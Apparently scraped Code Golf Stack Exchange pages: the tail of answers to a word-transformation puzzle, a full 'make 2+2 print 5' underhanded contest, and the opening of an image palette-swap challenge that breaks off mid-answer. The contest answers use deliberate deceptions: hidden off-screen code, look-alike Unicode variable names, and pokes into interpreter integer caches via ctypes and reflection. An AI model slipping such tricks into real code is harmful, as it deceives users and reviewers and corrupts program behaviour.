the `Escape` key and `⏎` is the `Return` key ## Explanation ``` i ⎋ Insert a space before the first character o⏎bcdfghjklmnpqrstvwxz⏎ Insert the character data pgtvkhjglmnbqrzdfwxs⎋1Gh qy/[aeiouy]⏎q Find the first vocal after the space /[^aeiouy]⏎mz Find the next consonant and add a marker @yyl`zp Find the next vocal and put it after the consonant ld$ Delete the rest of the world yhjpg* Search for the consonant in the first row of the character data jyl Copy the character in the same position in the second row `zpy2lPjdGX Paste it after the last vowel and repeat the two last characters ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), ~~55~~ 42 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` η.ΔžOSåàyžPSÅ¿à*}ÐIsKžOÃнsθ.•gÍĆdQ¸G•Â‡ìDJ ``` -13 bytes thanks to *@Grimmy*. [Try it online](https://tio.run/##AVgAp/9vc2FiaWX//863Ls6Uxb5PU8Olw6B5xb5QU8OFwr/DoCp9w5BJc0vFvk/Dg9C9c864LuKAomfDjcSGZFHCuEfigKLDguKAocOsREr//3Byb2dyYW1taW5n) or [verify all test cases](https://tio.run/##yy9OTMpM/V9TVmmvpPCobZKCkn3l/3Pb9c5NObrPP/jw0sMLKo/uCwg@3Hpo/@EFWrWHJ1QWewNlDjdf2Ft8bofeo4ZF6Yd7j7SlBB7a4Q7kHG561LDw8BoXr/86/5OLUhNLMvPzuJLzy1KLEtNTuVIrEnMLclK5Cory04sSc3Mz89KB7NTizJTUvBIA). **Explanation:** ``` η # Suffixes of the (implicit) input # i.e. "creation" → ["c","cr","cre","crea","creat","creati","creato","creatio","creation"] .Δ } # Find the first for which the following is truthy: žO # Push vowels (including y): "aeiouy" S # Convert it to a list of characters: ["a","e","i","o","u","y"] å # Check for each if they're in the current (implicit) suffix # i.e. "creat" → [1,1,0,0,0,0] à # Pop and push the max (basically check if any are truthy) # i.e. [1,1,0,0,0,0] → 1 y # Push the suffix again žP # Push the consonants (excluding y): "bcdfghjklmnpqrstvwxz" S # Convert to a list of characters: ["b","c","d","f","g","h","j","k","l","m","n","p","q","r","s","t","v","w","x","z"] Å¿ # Check for each if the suffix ends with it # i.e. "creat" → [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0] à # Pop and push the max (basically check if any are truthy) # i.e. [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0] → 1 * # Check if both are truthy # i.e. 1 and 1 → 1 Ð # Triplicate the found suffix I # Push the input s # Swap the top two items on the stack # i.e. stack contains now: "creat","creat","creation","creat" K # Remove the suffix from the input # i.e. "creation" and "creat" → "ion" žOà # Only leave the vowels # i.e. "ion" → "io" н # Pop and push the first character # i.e. "io" → "i" s # Swap again so the prefix is a the top of the stack again θ # Pop and push the last character # i.e. "creat" → "t" .•gÍĆdQ¸G• # Push string "bcdfkszgvtgp"  # Bifurcate it (short for Duplicate & Reverse copy): "pgtvgzskfdcb" ‡ # Transliterate the character of "bcdfkszgvtgp" to the same index in "pgtvgzskfdcb" ì # Prepend the second character in front of the first # i.e. "d" and "i" → "di" D # Duplicate it J # Join the stack together (and output implicitly) # i.e. "creat" and "di" and "di" → "creatdidi" ``` [See this 05AB1E tips of mine (section *How to compress strings not part of the dictionary?*)](https://codegolf.stackexchange.com/a/166851/52210) to understand why `.•gÍĆdQ¸G•` is `"bcdfkszgvtgp"`. [Answer] # [Lexurgy](https://www.lexurgy.com/sc), ~~288~~ ~~286~~ 281 bytes Docs [here](https://www.meamoria.com/lexurgy/html/sc-tutorial.html). Lexurgy is an online tool meant for conlangers (people who make constructed languages) to apply sound changes to their conlangs via a series of programmable rules. As such, this tool involves many string operations. * -2: remove the `u` and `w` classes and replace them with one-time substitutions. * -5: fix a bug with the `example` case, combine some rules into a single step ``` Class v {a,e,i,o,u} Class c {p,t,k,f,s,c,b,d,g,v,z,g,h,j,l,m,n,q,r,w,x} a: @c *=>@c ;/$ @c* @v* _//{$ _,$ @c _} b: @c=>* /; _ c: {@v,@c}=>* /; @v {@v,@c}* _ * {{p,t,k,f,s,c,x},{b,d,g,v,z,g,x}}$1=>$1 {{b,d,g,v,z,g,x},{p,t,k,f,s,c,x}}/_ ; e: @c$1 ;=>; $1 f: (@c @v)$1=>$1 $1/; _ ;=>* ``` Ungolfed: ``` Class vowel {a,e,i,o,u} Class unvoiced {p,t,k,f,s,c} Class voiced {b,d,g,v,z,g} Class consonant {@unvoiced,@voiced,h,j,l,m,n,q,r,w,x} # find first consonant after first vowel part-1: @consonant * => @consonant ; / $ @consonant* @vowel* _ // {$ _, $ @consonant _} romanizer-a: unchanged # delete the consonant after the seperator part-2: @consonant => * / ; _ romanizer-b: unchanged # remove everything except the second vowel part-3: {@vowel, @consonant} => * / ; @vowel {@vowel, @consonant}* _ romanizer-c: unchanged # voicings part-4: * @voiced$1 => $1 @unvoiced / _ ; * @unvoiced$1 => $1 @voiced / _ ; romanizer-d: unchanged # swap mapped consonant and seperator part-5: @consonant$1 ; => ; $1 romanizer-e: unchanged # duplicate the `fe` part-6: (@consonant @vowel)$1 => $1 $1 / ; _ romanizer-f: unchanged # remove the seperator part-7: ; => * ``` [Answer] # Crystal, 130 Bytes ``` c=/[aeiouy]/ x,y,z=ARGV[0].partition /[^aeiouy]*#{c}*/ k=z[0] b=((i="pgtvkgbqrzdfs"=~/#{k}/)?"bcdfgkpqrstvz"[i]: k)+z[c] p y+k+b*2 ``` # How it works ``` c = /[aeiouy]/ ``` store a regex for searching first vowel to `c`. ``` x, y, z = ARGV[0].partition /[^aeiouy]*#{c}*/ ``` split the first argument into three parts {"", String until one character before the first consonant after first vowel, rest of string} and store each of the elements into x, y and z. ``` k = z[0] ``` get the first character, the relevant consonant. ``` i = "pgtvkgbqrzdfs" =~ /#{k}/ ``` get the index of the consonant inside the left string or `nil`. ``` b = ((i = ...) ? "bcdfgkpqrstvz"[i] : k) + z[c] ``` if `i` is not `nil`, use this index for the second string (kind of a golfed hash). if `i` is `nil`, use the original character. next, append the first vowel of `z`. ``` p y + k + (b * 2) ``` finally, print first part from first regex `y`, the first consonant `k` and two times the previous calculated string `b`. [Try it online](https://tio.run/##LcrBCoMgGADgu08RdqmMOXYcSA8iDtRK5B/L1Mk02qu7y77zp30OUT5r1YxyudjtnQVFnzGPhWG9pcVLs@CLkz7aaLdXQ/nj34b20OdAEbDCrwIp1nWWYWdiAqN2X@Y1YPal7QEn7Ses9LwacLsPMRXMrbg30JPCtUCuyQSIGm61/gA). [Answer] # sed, 106 (105+1) bytes This is sed with the `-E` flag, which apparently counts for one byte. ``` s/([aoeuiy][^aoeuiy])[^aoeuiy]*(.).*/\1\2/ h s/.*(..)/\1\1/ y/bcdfgkpstvz/pgtvkgbzdfs/ x s/.$// G s/\n//g ``` [Try it online!](https://tio.run/##PYtBDoIwEEX3cw4XlMRO8A7GQ4AmhQ61QdqmUwlweCtNjLuX999n0jkzVq3y9LbbvX38QPyprqSQNXZNd0F4AqM8jBRFNAgb9oMezRQ4LTsGk5bJ9LseGWEt7QkRbgd0DtHkPERSyXoHg18oKkNAq5rDiyBEb6KaZ@vMMeoiiK0mlz4@lAvn8/UL "sed – Try It Online") ]
[Question] [ **Closed.** This question is [off-topic](/help/closed-questions). It is not currently accepting answers. --- This question does not appear to be about code golf or coding challenges within the scope defined in the [help center](https://codegolf.stackexchange.com/help/on-topic). Closed 7 years ago. **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. Write a program that seemingly adds the numbers 2 and 2 and outputs 5. This is an underhanded contest. Your program cannot output any errors. Watch out for memory holes! Input is optional. Redefining 2+2 as 5 is **not** very creative! Don't doublethink it, try something else. [Answer] ## Java Reflection is indeed the right way to go with abusing Java... but you need to go *deeper* than just tweaking some values. ``` import java.lang.reflect.Field; public class Main { public static void main(String[] args) throws Exception { Class cache = Integer.class.getDeclaredClasses()[0]; Field c = cache.getDeclaredField("cache"); c.setAccessible(true); Integer[] array = (Integer[]) c.get(cache); array[132] = array[133]; System.out.printf("%d",2 + 2); } } ``` Output: ``` 5 ``` Explanation: > > You need to change it even deeper than you can typically access. Note that this is designed for Java 6 with no funky parameters passed in on the JVM that would otherwise change the [IntegerCache](http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/6-b14/java/lang/Integer.java#Integer.IntegerCache). > > Deep within the Integer class is a Flyweight of Integers. This is an array of Integers from −128 to +127. `cache[132]` is the spot where 4 would normally be. Set it to 5. > > > **Warning:** Doing this in real code will make people **very** unhappy. [Code demo on ideone](http://ideone.com/o1h0hR). [Answer] ## C Pretty cheap trick but I'm sure I will trap the most of you. ``` int main() { int a = 2 + 2; a++; printf("%d",a); return 0; } ``` [Try it here](http://ideone.com/fork/16PScH) > > Scroll the code to the right. > > I'm not sure on Windows/Linux but on OSX, the scrollbar is not visible. > > Anyway, this is a good reason to enable "space visualization" on your favorite code editor. > > > [Answer] # Haskell I just love how you can throw anything at ghci and it totally rolls with it. ``` λ> let 2+2=5 in 2+2 5 ``` [Answer] ## GolfScript ``` 4:echo(2+2); ``` Prints `5`. > > Of course GolfScript has a syntax that is markedly different from other languages, this program just happen to look like something Basic or C-ish. > > > > `4` - Put the number 4 on the stack. Stack content: 4 > > > > [Answer] ## Java Always have to round your doubles, folks ``` public class TwoPlusTwo { public static void main(String... args) { double two = two(); System.out.format("Variable two = %.15f%n", two); double four = Math.ceil(two + two); // round just in case System.out.format("two + two = %.15f%n", four); } // 20 * .1 = 2 private static double two() { double two = 0; for(int i = 0; i < 20; i++) { two += .1; } return two; } } ``` Output: ``` Variable two = 2.000000000000000 two + two = 5.000000000000000 ``` Explanation: > > No, seriously, you always have to round your doubles. 15 isn't enough digits to show that the `two()` method actually produces `2.0000000000000004` (16 is enough, though). > > In the raw Hex representations of the numbers, it's only a 1 bit difference (between `4000000000000001` and `4000000000000000`)... which is enough to make the `Math.ceil` method return 5, not 4. > > > [Answer] # BBC BASIC EDIT: For Andrea Faulds and Squeamish Ossifrage, a more convincing version using a different interpreter: <http://sourceforge.net/projects/napoleonbrandy/> ``` MODE 6 VDU 23,52,254,192,252,6,6,198,124,0 PRINT PRINT "2+2=";2+2 PRINT "2+3=";2+3 ``` ![enter image description here](https://i.stack.imgur.com/3XIm6.png) > > This actually prints the number 4, but the `VDU 23` redefines the font for ASCII 52 so that it looks like a 5 instead of a 4. Screen mode 6 was selected for aesthetic reasons (characters of a reasonable size.) > > > The original image using the emulator at <http://bbcbasic.co.uk/bbcwin/bbcwin.html>. (with slightly different code) can be seen in the edit history. [Answer] ## Brainfuck ``` +++++ +++++ + + + + + +++++ +++++ +++ +++++ + + + +++++ + + +++++ +++++. ``` Output: ``` 5 ``` Try it [here](http://esoteric.sange.fi/brainfuck/impl/interp/i.html). I know this might sound a little to simple, but I tried to be creative, as suggested in original post. [Answer] # Bash Since this is a [popularity-contest](/questions/tagged/popularity-contest "show questions tagged 'popularity-contest'"), I guess I should use a long-winded method... For people who don't know Bash: `$((...expr...))` is a syntax to evaluate arithmetic expressions. `$(bc<<<...expr...)` does the same using the `bc` command-line calculator. ``` v=2 #v is 2 v+=2 #v is 4 v=$(($v*5)) #v is 20 v=$(($v-16)) #v is 4 v=$(bc<<<"sqrt($v)+2") #v is 4 (sqrt(4) is 2) v=$(bc<<<"$v/4+3") #v is 4 (4/4 = 1) echo '2+2=' $v #So v is 4...? ``` ## Output ``` 2+2= 5 ``` ## Explanation > > The second line concatenates v and 2 instead of adding them, to make 22. > > Actual explanation: > `v=2 #v is 2 > v+=2 #v is 22 > v=$(($v*5)) #v is 110 > v=$(($v-16)) #v is 94 > v=$(bc<<<"sqrt($v)+2") #v is 11 (by default, bc rounds to integers) > v=$(bc<<<"$v/4+3") #v is 5 (11/4 is 2 with rounding) > echo '2+2=' $v #TADAAAM` > > > [Answer] # Python Inspired by the Java answer: ``` >>> patch = '\x312\x2D7' >>> import ctypes;ctypes.c_int8.from_address(id(len(patch))+8).value=eval(patch) >>> 2 + 2 5 ``` > > Like Java, CPython uses the same memory location for any copy of the first few small integers (0-255 if memory serves). This goes in and directly edits that memory location via `ctypes`. `patch` is just an obfuscated `"12-7"`, a string with `len` 4, which `eval`'s to 5. > > > ### A more obfuscated version ``` exec("\x66\x72\x6f\x6d\x20c\x74\x79\x70e\x73\x20\x69\x6d\x70\ \x6f\x72\x74\x20c\x5f\x69\x6e\x748\x20a\x73\x20x\x3bf\x72\x6f\ \x6d\x20\x73\x74\x72\x75c\x74\x20\x69\x6d\x70\x6f\x72\x74\x20\ ca\x6cc\x73\x69\x7ae\x20a\x73\x20x0\x3bx\x2ef\x72\x6f\x6d\x5f\ a\x64\x64\x72e\x73\x73\x28\x69\x64\x284\x29\x2bx0\x28\x27\x50\ \x50\x27\x29\x29\x2e\x76a\x6c\x75e\x3d5") ``` ## Beyond 2+2 As OP mentioned, 2+2 can be kinda boring; so here's some cleaner, multiplatform, multi-width code for wanton abuse. ``` from __future__ import division, print_function import struct import ctypes import random # Py 2.7 PyIntObject: # - PyObject_HEAD # - PyObject_HEAD_EXTRA [usually nothing unless compiled with DEBUG] # - (Py_ssize_t) ob_refcnt # - (_typeobject) *ob_type # - (long) ob_ival # two platform-sized (32/64-bit) ints (ob_refcnt and *ob_type from above) offset = struct.calcsize('PP') num = 60 nums = list(range(num)) addresses = [id(x) + offset for x in nums] random.shuffle(nums) for a, n in zip(addresses, nums): ctypes.c_ssize_t.from_address(a).value = n print('2 + 2 =', 2+2) print('9 - 4 =', 9-4) print('5 * 6 =', 5*6) print('1 / 0 =\n', 1/0) print('(1 + 2) + 3 = ', (1+2)+3) print('1 + (2 + 3) = ', 1+(2+3)) print('(2 + 3) + 1 = ', (2+3)+1) print('2 + (3 + 1) = ', 2+(3+1)) ``` Running with Python 2.7...ignore that line at the end. Works in Windows 64-bit and Ubuntu 32-bit, the two systems I have easy access to. ``` $ python awful.py 2 + 2 = 24 9 - 4 = 49 5 * 6 = 55 1 / 0 = 0.76 (1 + 2) + 3 = 50 1 + (2 + 3) = 68 (2 + 3) + 1 = 50 2 + (3 + 1) = 61 Segmentation fault (core dumped) ``` Unsurprisingly, we can break the associative property of addition, where (*a* + *b*) + *c* = *a* + (*b* + *c*), as seen in the 1st and 2nd `1+2+3` lines, but inexplicably we also break the commutative property (where *a* + *b* = *b* + *a*; 2nd and 3rd lines). I wonder if the Python interpreter just ignores superfluous parentheses around addition expressions. [Answer] # JavaScript: ``` g = function () { H = 3 return H + H } f = function () { Η = 2 return Η + H } // 3 + 3 = 6 alert(g()) // 2 + 2 = 5 alert(f()) ``` Check it at <http://jsfiddle.net/qhRJY/> > > Both H (Latin letter capital h) and Η (Greek letter capital eta) are set to the global scope because they were not defined as local to the functions with the var keyword. While they look similar, they are actually 2 different variables with 2 different values. Using Ctrl+F in your browser you will find that Η (eta) shows up significantly less than H (h) on this page. > > > [Answer] # JavaScript ``` function addDecibels(){return (10*Math.log10([].reduce.call(arguments,(p,c)=>p+Math.pow(10,c/10),0))).toFixed(1);} alert( addDecibels(2,2) ); ``` > > The underhanded bit is that its not actually underhanded - if you add a 2dB sound source to another 2dB sound source then resulting combined noise will be 5dB (and if you add two 30dB sources then its 33dB) as they are measured on a log scale. > > > You can see it on [a different calculator here](https://www.noisemeters.com/apps/db-calculator.asp). [Answer] ## PHP ``` echo '2 + 2 = ' . (2 + 2 === 4 ? 4 : 2 + 2 === 5 ? 5 : 'dunno'); ``` Which produces: ``` 2 + 2 = 5 ``` > > This is because in PHP, ternaries are calculated left to right, so > it's actually > > > `(2 + 2 === 4 ? 4 : 2 + 2 === 5) // 2 + 2 is == 4, and 4 == true, therefore echo 5` > `? 5 : 'dunno';` > > > [Answer] ### JavaScript ``` var total = 2 + 2; if(total = 5) { alert('I guess 2 + 2 = 5'); } else { alert('The universe is sane, 2 + 2 = 4'); } ``` [Answer] # C# ``` static void Main(string[] args) { var x = 2; var y = 2; if (1 == 0) ; { ++x; } Console.WriteLine(x + y); } ``` [Answer] It's dangerous to decorate your Javascript with ASCII art. ``` -~// JS \\~- ~-// Maths \\-~ -~// Madness \\~- (2 + 2) ``` > > When the comments are removed, the remaining symbols and operators evaluate to > > `-~~--~(2 + 2)` > This makes use of the Bitwise Not operator (~) in JS, along with a handful of > Minus signs which will negate the values along the way. > > > [Answer] # Bash ``` #!/bin/bash # strings of length 2 x="ab" y="cd" # add lengths by concatenation c="$(cat<<<$x; cat<<<$y)" # display the lengths of the parts and the sum echo "${#x} + ${#y} = ${#c}" ``` Output: ``` 2 + 2 = 5 ``` > > The output from each `cat` will have an implicit newline, but the final newline is stripped off by the command substitution `$( )` > > > --- Here's another: ``` #!/bin/bash # Create an array of ascending integers a=({1..10}) # Use the sum to index into the array s="2 + 2" i=$(($s)) echo "$s = ${a[$i]}" ``` > > Bash arrays are zero indexed > > > [Answer] # Perl ``` # Generic includes use strict; use warnings; use 5.010; use Acme::NewMath; # Ok, time to begin the real program. if (2 + 2 == 5) { say 5; } else { say "Dunno..."; } ``` > > It depends on CPAN module called [Acme::NewMath](https://metacpan.org/pod/Acme%3a%3aNewMath). Because of wrong file names in the module, this will only work on case insensitive file systems (like on Windows or Mac OS X), but I blame the original module's author here. Acme::NewMath implements mathematics according to the Ingsoc ideology. > > > [Answer] ## R ``` # add the mean of [1,3] to the mean of [4,0] (2 + 2) mean(1,3) + mean(4,0) ``` output: `5` > > the code actually adds the mean of [1] to the mean of [4]. > The correct way to use the mean function in R would be: > `mean(c(1,3)) + mean(c(4,0))` This is unlike some other mathematical functions in R, such as `sum`, `max`, and `min`; where `sum(1,3)`, `max(1,3)`, and `min(3,1)` would all give the expected answer. > > > [Answer] # Java ``` public class Five { public static void main(final String... args) { System.out.println(256.0000000000002 + 256.0000000000002); } } ``` output: ``` 512.0000000000005 ``` Probably works in any language that uses the same kind of doubles. [Answer] ## Befunge This is written in Befunge, but is designed to look like Python. ``` #>>>>>>>>>>>>>>>>>v # Calculate 2 + 2 v #>>>>>>>>>>>>>>>>>v def add(v,w): return v+w # I rewrote this 5 times and it still doesn't work print add(2,2) #... Still not working # email: [[email protected]](/cdn-cgi/l/email-protection) ``` When run (with the correct interpreter) the program will print `5`. Explanation: > > A Befunge program is made up of a grid of single character commands. The first command is the one in the top left corner, and the reading of commands proceeds to the right. But the direction can change during program execution. > > > > Only the first row of characters, and the column of characters starting with the `v` in the first row are run. The characters in question do: > > > > `#` - skip the next command > > `>` - From now on, commands are read to the right of the current command > > `v` - From now on, commands are read below the current command > > `5` - Push 5 to the stack > > `.` - Pop and print the number at the top of the stack > > `@` - End the program > > `<space>` - Do nothing > > > > > If you knew you were programming in Befunge, this wouldn't really trick anyone. But if you came across this and didn't realize it was Befunge, it most likely would. > > > [Answer] **JavaScript** Code: ``` var a = 3; а = 2; a + а; ``` Output: ``` 5 ``` You can test it yourself on your console or check this [Fiddle](http://jsfiddle.net/7j379/) [Answer] # C (Linux, gcc 4.7.3) ``` #include <stdio.h> int main(void) { int a=3, b=2; printf("%d + %d = %d", --a, b, a+b); } ``` It prints 2+2=5 So a=2, right? > > gcc-4.7.3 evaluates the function parameters from right to left. When a+b is evaluated, a is still 3. > > > [Answer] ## FORTRAN 77 ``` program BadSum integer i,a,j common i,a a = 1 i = 2 call addtwo(j) print *,j end subroutine addtwo(j) integer a,i,j common a,i c since a = 1 & i = 2, then 2 + 1 + 1 = 2 + 2 = 4 j = i + a + a end ``` > > Standard abuse of `common` blocks: order matters; I swapped the order in the block in the subroutine so I'm really adding `1 + 2 + 2`. > > > [Answer] ## Python Code prints 5 which is correct answer for this task. ``` def int(a): return ~eval(a) def add(a,b): return int(a)+int(b) print ~add("2","2") ``` **Edit:** Here's alternative version which adds integers, not stringified twos. ``` def int(a): return ~eval(`a`) def add(a,b): return int(a)+int(b) print ~add(2,2) ``` > > Tilde is an unary inverse operator which returns `-x-1`, so first step is to get `-6` and then with another operator in `print` function get `5` > > > [Answer] ## Ruby ``` class Fixnum alias plus + def + (other) plus(other).succ end end puts 2 + 2 ``` > > This increases the result of all additions whose first argument is a Fixnum (which 2 is, at least in MRI) by 1. > > > The side-effects of this are even worse than the Java version. [Answer] ## Ruby Ruby has first class environments. This means lots of things. It also means that lots of things can be done that... maybe shouldn't. ``` def mal(&block) block.call for v in block.binding.eval("local_variables"); block.binding.eval('if ' + v.to_s + ' == 4 then ' + v.to_s + ' = 5 end') end end a = 2 + 2; b = 2 + 4; puts "2 + 2 = ", a puts "2 + 4 = ", b mal do puts "But in 1984..." end puts "2 + 2 = ", a puts "2 + 4 = ", b ``` The output of this is: ``` 2 + 2 = 4 2 + 4 = 6 But in 1984... 2 + 2 = 5 2 + 4 = 6 ``` If you want to understand more about the joys and dangers of this, [Ruby Conf 2011 Keeping Ruby Reasonable](https://www.youtube.com/watch?v=vbX5BVCKiNs) and read [First-class environments](http://funcall.blogspot.com/2009/09/first-class-environments.html) from the Abstract Heresies blog. [Answer] # Scheme ``` (define 2+2 5) 2+2 ;=> 5 ``` [Answer] # C# ``` var c = Enumerable.Range(2, 2).Sum(); ``` To someone not familiar, this will look like I'm getting a range starting and ending at 2. In reality, it starts at 2 and goes for two numbers. So 2 + 3 = 5. [Answer] # F# Let's put in fsi following statement: ``` let ``2+2``= 5 ``` Output: ``` val ( 2+2 ) : int = 5 ``` [Answer] ## C ``` int main() { char __func_version__[] = "5"; // For source control char b[]="2", a=2; printf("%d + %s = %s\n", a, b, a+b); return 0; } ``` The `5` is not too well hidden, I'm afraid. Doesn't work with optimization. ]
[Question] [ You are given two true color images, the Source and the Palette. They do not necessarily have the same dimensions but it is guaranteed that their areas are the same, i.e. they have the same number of pixels. Your task is to create an algorithm that makes the most accurate looking copy of the Source by only using the pixels in the Palette. Each pixel in the Palette must be used exactly once in a unique position in this copy. The copy must have the same dimensions as the Source. This Python script can be used ensure these constraints are met: ``` from PIL import Image def check(palette, copy): palette = sorted(Image.open(palette).convert('RGB').getdata()) copy = sorted(Image.open(copy).convert('RGB').getdata()) print 'Success' if copy == palette else 'Failed' check('palette.png', 'copy.png') ``` Here are several pictures for testing. They all have the same area. Your algorithm should work for any two images with equal areas, not just American Gothic and the Mona Lisa. You should of course show your output. [![American Gothic](https://i.stack.imgur.com/N6IGO.png)](https://i.stack.imgur.com/N6IGO.png) [![Mona Lisa](https://i.stack.imgur.com/JXgho.png)](https://i.stack.imgur.com/JXgho.png) [![Starry Night](https://i.stack.imgur.com/c5jq1.png)](https://i.stack.imgur.com/c5jq1.png) [![The Scream](https://i.stack.imgur.com/itzIe.png)](https://i.stack.imgur.com/itzIe.png) [![River](https://i.stack.imgur.com/y2VZJ.png)](https://i.stack.imgur.com/y2VZJ.png) [![Rainbow](https://i.stack.imgur.com/xPAwA.png)](https://i.stack.imgur.com/xPAwA.png) Thanks to Wikipedia for the images of famous paintings. ## Scoring This is a popularity contest so the highest voted answer wins. But I'm sure there's lots of ways to be creative with this! ## Animation millinon had the idea that it would be cool to see the pixels rearrange themselves. I thought so too so I wrote [this](http://pastebin.com/VTnL9Npw) Python script that takes two images made of the same colors and draws the intermediate images between them. **Update:** I just revised it so each pixel moves the minimum amount it has to. It is no longer random. First is the Mona Lisa turning into aditsu's American Gothic. Next is bitpwner's American Gothic (from Mona Lisa) turning into aditsu's. It's amazing that the two versions share the exact same color palette. ![Mona Lisa to American Gothic animation](https://i.stack.imgur.com/y3oPk.gif) ![animating between two versions of American Gothic made from Mona Lisa](https://i.stack.imgur.com/BJbz5.gif) The results are really quite astounding. Here is aditsu's rainbow Mona Lisa (slowed to show detail). ![rainbow spheres to Mona Lisa animation](https://i.stack.imgur.com/e15ef.gif) This last animation is not necessarily related to the contest. It shows what happens when my script is used to rotate an image 90 degrees. ![tree rotation animation](https://i.stack.imgur.com/GEeS4.gif) [Answer] # Java - GUI with progressive randomized transformation I tried a LOT of things, some of them very complicated, then I finally came back to this relatively-simple code: ``` import java.awt.BorderLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.Random; import javax.imageio.ImageIO; import javax.swing.ImageIcon; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.Timer; @SuppressWarnings("serial") public class CopyColors extends JFrame { private static final String SOURCE = "spheres"; private static final String PALETTE = "mona"; private static final int COUNT = 10000; private static final int DELAY = 20; private static final int LUM_WEIGHT = 10; private static final double[] F = {0.114, 0.587, 0.299}; private final BufferedImage source; protected final BufferedImage dest; private final int sw; private final int sh; private final int n; private final Random r = new Random(); private final JLabel l; public CopyColors(final String sourceName, final String paletteName) throws IOException { super("CopyColors by aditsu"); source = ImageIO.read(new File(sourceName + ".png")); final BufferedImage palette = ImageIO.read(new File(paletteName + ".png")); sw = source.getWidth(); sh = source.getHeight(); final int pw = palette.getWidth(); final int ph = palette.getHeight(); n = sw * sh; if (n != pw * ph) { throw new RuntimeException(); } dest = new BufferedImage(sw, sh, BufferedImage.TYPE_INT_RGB); for (int i = 0; i < sh; ++i) { for (int j = 0; j < sw; ++j) { final int x = i * sw + j; dest.setRGB(j, i, palette.getRGB(x % pw, x / pw)); } } l = new JLabel(new ImageIcon(dest)); add(l); final JButton b = new JButton("Save"); add(b, BorderLayout.SOUTH); b.addActionListener(new ActionListener() { @Override public void actionPerformed(final ActionEvent e) { try { ImageIO.write(dest, "png", new File(sourceName + "-" + paletteName + ".png")); } catch (IOException ex) { ex.printStackTrace(); } } }); } protected double dist(final int x, final int y) { double t = 0; double lx = 0; double ly = 0; for (int i = 0; i < 3; ++i) { final double xi = ((x >> (i * 8)) & 255) * F[i]; final double yi = ((y >> (i * 8)) & 255) * F[i]; final double d = xi - yi; t += d * d; lx += xi; ly += yi; } double l = lx - ly; return t + l * l * LUM_WEIGHT; } public void improve() { final int x = r.nextInt(n); final int y = r.nextInt(n); final int sx = source.getRGB(x % sw, x / sw); final int sy = source.getRGB(y % sw, y / sw); final int dx = dest.getRGB(x % sw, x / sw); final int dy = dest.getRGB(y % sw, y / sw); if (dist(sx, dx) + dist(sy, dy) > dist(sx, dy) + dist(sy, dx)) { dest.setRGB(x % sw, x / sw, dy); dest.setRGB(y % sw, y / sw, dx); } } public void update() { l.repaint(); } public static void main(final String... args) throws IOException { final CopyColors x = new CopyColors(SOURCE, PALETTE); x.setSize(800, 600); x.setLocationRelativeTo(null); x.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); x.setVisible(true); new Timer(DELAY, new ActionListener() { @Override public void actionPerformed(final ActionEvent e) { for (int i = 0; i < COUNT; ++i) { x.improve(); } x.update(); } }).start(); } } ``` All the relevant parameters are defined as constants at the beginning of the class. The program first copies the palette image into the source dimensions, then repeatedly chooses 2 random pixels and swaps them if that would get them closer to the source image. "Closer" is defined using a color distance function that calculates the difference between the r, g, b components (luma-weighted) together with the total luma difference, with a greater weight for luma. It takes just a few seconds for the shapes to form, but a while longer for the colors to come together. You can save the current image at any time. I usually waited about 1-3 minutes before saving. ## Results: Unlike some other answers, these images were all generated using the exact same parameters (other than the file names). ### American Gothic palette ![mona-gothic](https://i.stack.imgur.com/GzJlt.png) ![scream-gothic](https://i.stack.imgur.com/HhZgE.png) ### Mona Lisa palette ![gothic-mona](https://i.stack.imgur.com/f8IkJ.png) ![scream-mona](https://i.stack.imgur.com/ZOO0G.png) ![spheres-mona](https://i.stack.imgur.com/WhVcO.png) ### Starry Night palette ![mona-night](https://i.stack.imgur.com/aNAuG.png) ![scream-night](https://i.stack.imgur.com/r0lLu.png) ![spheres-night](https://i.stack.imgur.com/FcS9U.png) ### The Scream palette ![gothic-scream](https://i.stack.imgur.com/7wxxd.png) ![mona-scream](https://i.stack.imgur.com/eqvsb.png) ![night-scream](https://i.stack.imgur.com/JdXAG.png) ![spheres-scream](https://i.stack.imgur.com/1rXa6.png) ### Spheres palette I think this is the toughest test and everybody should post their results with this palette: ![gothic-spheres](https://i.stack.imgur.com/SBBEt.png) ![mona-spheres](https://i.stack.imgur.com/8U7wW.png) ![scream-spheres](https://i.stack.imgur.com/MSRXt.png) Sorry, I didn't find the river image very interesting so I haven't included it. I also added a video at <https://www.youtube.com/watch?v=_-w3cKL5teM> , it shows what the program does (not exactly in real-time but similar) then it shows the gradual pixel movement using Calvin's python script. Unfortunately the video quality is significantly damaged by youtube's encoding/compression. [Answer] # Java ``` import java.awt.Point; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.HashSet; import java.util.Iterator; import java.util.LinkedList; import java.util.List; import java.util.Random; import javax.imageio.ImageIO; /** * * @author Quincunx */ public class PixelRearranger { public static void main(String[] args) throws IOException { BufferedImage source = ImageIO.read(resource("American Gothic.png")); BufferedImage palette = ImageIO.read(resource("Mona Lisa.png")); BufferedImage result = rearrange(source, palette); ImageIO.write(result, "png", resource("result.png")); validate(palette, result); } public static class MInteger { int val; public MInteger(int i) { val = i; } } public static BufferedImage rearrange(BufferedImage source, BufferedImage palette) { BufferedImage result = new BufferedImage(source.getWidth(), source.getHeight(), BufferedImage.TYPE_INT_RGB); //This creates a list of points in the Source image. //Then, we shuffle it and will draw points in that order. List<Point> samples = getPoints(source.getWidth(), source.getHeight()); System.out.println("gotPoints"); //Create a list of colors in the palette. rgbList = getColors(palette); Collections.sort(rgbList, rgb); rbgList = new ArrayList<>(rgbList); Collections.sort(rbgList, rbg); grbList = new ArrayList<>(rgbList); Collections.sort(grbList, grb); gbrList = new ArrayList<>(rgbList); Collections.sort(gbrList, gbr); brgList = new ArrayList<>(rgbList); Collections.sort(brgList, brg); bgrList = new ArrayList<>(rgbList); Collections.sort(bgrList, bgr); while (!samples.isEmpty()) { Point currentPoint = 